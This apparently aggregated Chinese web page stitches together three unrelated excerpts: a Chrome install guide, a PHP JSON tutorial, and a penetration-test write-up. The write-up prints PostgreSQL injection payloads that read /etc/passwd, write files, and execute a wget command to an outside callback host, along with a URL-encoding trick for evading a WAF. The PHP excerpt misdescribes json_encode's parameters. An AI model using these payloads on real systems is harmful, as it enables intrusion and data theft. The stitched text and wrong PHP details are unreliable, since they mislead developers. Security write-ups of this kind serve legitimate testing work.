Google Chrome是一款由Google公司开发的网页浏览器,无论是稳定性、速度、安全性,都是它的优点,我们在工作中使用谷歌Chrome能大大的提高我们的工作效率。对于有些用户不知道怎么下载谷歌Chrome!下面小编就详细的给大家介绍谷歌Chrome下载安装方法。 谷歌Chrome浏览器怎么下载安装? 第一步:我们在浏览器地址栏输入下载地址:https://www.google.cn/chrome/,或是在百度搜索框中输入关键字“chrome”,现在会出来很多,我们需要找到Google官方官网,打开它; 第二步:进入官网后,点击“下载Chrome”按钮; 如果您下载以后找不到了,可以点击右上角的三个带你找到下载。要是没有下载,进行手动下载chrome链接。 第三步:此时双击打开文件,然后等待安装,要是中间有弹出窗口,点击“运行”或是“是”、“允许安装”,一律同意就行。 谷歌Chrome浏览器优点 1、Chrome启动速度快、浏览器速度快、界面简单; 2、内置原装网页翻译,方便大家浏览器外文网站,所有插件的按钮都出现在上方,反应快,网银要是不兼容可以装个ietab就可以。 3、同步功能,专为Chrome提供的服务,无论我们是在手机端还是电脑端,都是可以同步的,非常的方便。 4、书签,书签在地址栏的下方,想要收藏的网站,直接收藏,下载想要再次访问时,直接点击打开即可访问,超级的方便。 5、更新速度快,谷歌Chrome更新速度非常快,各种新功能才能尽快的推出、各种bug才能迅速修复。有了快捷更新,对于网页新的技术也能尽快支持。 总结:以上就是谷歌Chrome下载安装的方法,如果您也想要使用谷歌Chrome,那么按照以上的方法进行操作即可,小编使用习惯了谷歌浏览器,就不再想用其他的浏览器啦!确实非常的好用。...
-
json_decode() 和 json_encode() 函数的区别和用法
JSON是一种轻量级的数据交换格式,常用于前后端数据的传输和存储。JSON由键值对组成,其中键必须是字符串,值可以是字符串、数字、布尔值、数组、对象或null。在编程中,我们经常需要将JSON格式的数据转换为程序可用的数据类型,称为解码或反序列化操作。在PHP中,可以使用json_decode()函数进行这个操作。 例如,我们有以下JSON字符串: ``` $json_str = '{"name":"Tom","age":18,"is_student":true}'; ``` 我们可以使用json_decode()函数将它转换为PHP对象或关联数组,如下所示: ``` $php_obj = json_decode($json_str); // 返回一个stdClass对象 $php_arr = json_decode($json_str, true); // 返回一个关联数组 ``` 注意,第二个参数为true时,json_decode()函数将返回关联数组,否则返回stdClass对象。如果JSON字符串无效,json_decode()函数将返回null。 而在编程中我们也经常需要将数据转换为JSON格式进行传输和存储。在PHP中,可以使用json_encode()函数将PHP对象或数组转换为JSON字符串。 例如,我们有以下PHP数组: ``` $person = array("name" => "Tom", "age" => 18, "is_student" => true); ``` 我们可以使用json_encode()函数将它转换为JSON字符串,如下所示: ``` $json_str = json_encode($person); // 返回 '{"name":"Tom","age":18,"is_student":true}' ``` 注意,json_encode()函数可以接受多个参数,其中第二个参数指定是否格式化输出,第三个参数指定JSON中字符串的引号风格,第四个参数指定JSON编码的深度等。有关更多详细信息,请参阅PHP文档。...
-
又记一次安服仔薅洞实战-未授权之发现postgresql注入
上次文章又过去了小半年的时间,忙了小半年也没有什么优秀的东西分享就一直沉寂着,这次我带着实战干货又回来啦!这一次也是干公司的项目,是关于一个登录框的渗透测试,也不逼逼了开始渗透 0x00前言 距离上次文章又过去了小半年的时间,忙了小半年也没有什么优秀的东西分享就一直沉寂着,这次我带着实战干货又回来啦!这一次也是干公司的项目,是关于一个登录框的渗透测试,也不逼逼了开始渗透 首先映入眼帘的是个登录框 老样子找未授权和弱口令,不过这一次这个站有阿里云waf就没有扫目录啦。弱口令admin:123456,很显然开发没这么蠢 这时候应该思考什么,为什么这个站只有登录没有注册,那要怎么注册呢,一定存在一个注册的地方但不在这里。这时候试一下未授权,将目录中的login改成admin试试,果然进来了 在翻一翻,左边企业目录没有数据和修改密码都因为是未授权进来没有什么数据,那目光只能放在帮助上了 帮助处存在两个手册,先来翻一翻这两个手册 先查看第一个手册物业操作手册,可以知道两个信息,初始账户密码都是123456以及有一个手机端但是不知道是APP还是微信公众号还是小程序。 再查看第二个手册企业操作手册,果然这里发现了原来是有个微信公众号里面的小功能呀。 整理一下思路,存在微信公众号以及初始账号密码是123456,这时去爆破看看账号密码咯~ 0x01暴力破解 在翻手册中看到是企业用户那应该用的是人名的拼音作为账号,密码就是123456去试试 果然存在账号密码是123456可惜只能用手机号登录,高危漏洞先记录一个暴力破解存在。 0x02敏感信息泄漏 再看看历史数据包发现了一个有趣的东西,一个白给的数据泄漏 输入pass看看有没有信息,白给了一堆账号密码,不过都利用不了就放着了,再记一个敏感信息高危了 这里web没啥东西了,去微信公众号看看去,根据之前未授权查看的帮助文档顺利找到了这个公众号,一步步点下来终于找到注册的地方咯 0x03用户名枚举 账号注册先放一边,又看到了熟悉的操作手册,点开来看看 点进去看一看,发现了几个电话号码,通过web端的验证看看 通过web端的手机登录,果然存在该用户,喜提手机号枚举中危 0x04PDSQL注入 回归企业用户注册正题来了,接下来干货满满 点击搜索按钮抓包,发现一个搜索的数据包通过对单引号报错以及双单引号闭合,发现了一个sql注入 尝试输入payload,好家伙存在阿某云WAF,sqlmap也跑不了了,只能手注入了 先通过报错查看是什么类型的数据库,通过查询报错语句最终定位是PostgreSQL,这属实有点少见噢 先查看报错的地方来定位sql语句再来构造报错语句,在参数后面添加'11可以看到下面报错sql语句长这样 SELECT * FROM tbl_org WHERE(name '%%' AND type=400) ,传入的数据在两个百分号之间。 一开始我尝试在参数后面添加';payload--+,这样子堆叠注入结果是被拦截了,没办法了只能请大哥-坏学生来帮帮我,不愧是大哥两个小时秒了,给了我一个语句'||(to_date(substring(current_database()from 1 for 1),'qwe'))||'和一张图片 现在来分析一下这个语句,单引号'是用来闭合原本语句中的前单引号',符号“||”则是用来拼接字符串,意思就是在PDSQL中,一个Select语句可以同时执行多个语句。继续看to_date这个函数的用法 这个函数是用来出错的,substring(current_database)通过将数据库名字拆成一个个字符,然后与后面的qwe进行比较,如果出错就会报出数据库的名字,通过修改from后面的数字可以修改数据库的第几位字符,这样就把数据库名字给注入出来了。tip:这里的语句需要使用URL编码加密过WAF不然会被拦截。查看历史数据包内容发现在加载小区的时候也进行了一次查询,同理在该参数也存在SQL注入,高危漏洞又+1 0x05任意文件读取 继续查看PDSQL的一些高级注入手法发现,可以读取文件和写入文件,通过 '||(to_date(pg_read_file('/etc/passwd',2,20),'qwe'))||',即可读取文件了,该方法同理也是用一个个字符报错得出的,通过修改文件后面的第一位数字就可以读取,任意文件读取高危漏洞+1。 0x06任意文件写入 使用PDSQL的文件写入方法,利用payload:1');COPY (select 1234) to '/tmp/2.jsp';--,并且用URL编码加密在tmp目录下2.jsp文件写入1234 然后使用'||(to_date(pg_read_file('/tmp/2.jsp',4,20),'qwe'))||'查询tmp目录下的2.jsp,已经上传成功了 如果使用'||(to_date(pg_read_file('/tmp/3.jsp',4,20),'qwe'))||'读取tmp目录下3.jsp是不存在的 这里不知道网站的绝对路径就只能证明可以上传了,因为网站是用的spring框架,不知道是在哪里打的jar包。有一个小技巧是通过读取/root/.bash_history查看历史命令就可以看到项目的具体路径不过太麻烦了只能一个个字符读取,索性放弃了。 0x07命令执行 使用payload:1');CREATE TABLE zz(zz_output text);COPY zz FROM PROGRAM 'wget http://XX.XX.ceye.io/1.jpg';--远程执行命令看看ceye平台有无回显,可惜数据库服务器不给力,直接退出进程了。 期间还试过注册了账号,不过需要审批才能使用功能只能登陆,以及尝试利用信息收集到的手机号再结合我登入成功的数据包替换返回包尝试任意用户登陆,不过出了点问题数据加载不出来,估计存在二次校验。 秉持着可持续发展原则,这次渗透就到这里了,鸣谢我同事潇师傅以及坏学生大佬的帮助~咱们下次再见...